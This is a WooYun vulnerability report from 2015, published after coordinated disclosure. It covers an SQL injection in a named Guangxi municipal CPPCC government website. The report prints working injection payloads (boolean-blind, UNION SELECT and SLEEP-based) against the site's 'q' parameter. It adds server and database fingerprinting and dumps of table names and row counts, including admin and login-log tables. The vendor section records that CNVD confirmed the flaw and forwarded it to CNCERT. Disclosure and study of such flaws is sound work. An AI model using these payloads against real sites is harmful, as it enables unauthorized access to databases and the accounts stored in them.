当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089860

漏洞标题:某市政协网存在SQL注射

相关厂商:cncert国家互联网应急中心

漏洞作者: Yang

提交时间:2015-01-05 12:23

修复时间:2015-02-19 12:24

公开时间:2015-02-19 12:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-09: 厂商已经确认,细节仅向厂商公开
2015-01-19: 细节向核心白帽子及相关领域专家公开
2015-01-29: 细节向普通白帽子公开
2015-02-08: 细节向实习白帽子公开
2015-02-19: 细节向公众公开

简要描述:

广西某市政协网存在SQL注射

详细说明:

http://www.gxczzx.gov.cn/cm_list.php?q=22


requests:
---
Place: GET
Parameter: q
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=22 AND 3477=3477
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: q=-1298 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627871,0x654c726d497378535043,0x717a766271),NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: q=22 AND SLEEP(5)
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.11


1.png


漏洞证明:

Database: gxczzx
[17 tables]
+---------------------------------------+
| gy_about |
| gy_admin |
| gy_cm |
| gy_count |
| gy_hot |
| gy_html |
| gy_level |
| gy_links |
| gy_login_log |
| gy_menu |
| gy_news |
| gy_php |
| gy_sess |
| gy_system |
| gy_type |
| gy_zl2014_hot |
| gy_zl2014_news |
+---------------------------------------+
Database: information_schema
[37 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 520 |
| SESSION_VARIABLES | 268 |
| GLOBAL_STATUS | 265 |
| SESSION_STATUS | 265 |
| GLOBAL_VARIABLES | 257 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 195 |
| COLLATIONS | 195 |
| PARTITIONS | 54 |
| TABLES | 54 |
| CHARACTER_SETS | 39 |
| PLUGINS | 20 |
| SCHEMA_PRIVILEGES | 18 |
| STATISTICS | 18 |
| KEY_COLUMN_USAGE | 17 |
| TABLE_CONSTRAINTS | 17 |
| ENGINES | 9 |
| SCHEMATA | 2 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
Database: gxczzx
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| gy_news | 12464 |
| gy_zl2014_news | 420 |
| gy_hot | 285 |
| gy_login_log | 231 |
| gy_menu | 119 |
| gy_cm | 28 |
| gy_sess | 20 |
| gy_zl2014_hot | 12 |
| gy_admin | 11 |
| gy_type | 11 |
| gy_html | 9 |
| gy_php | 8 |
| gy_count | 7 |
| gy_level | 7 |
| gy_links | 6 |
| gy_about | 3 |
| gy_system | 1 |
+---------------------------------------+---------+


1.png


1.png


1.png

修复方案:

过滤

版权声明:转载请注明来源 Yang@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-01-09 17:43

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给广西分中心,由广西分中心后续协调网站管理单位处置。

最新状态:

暂无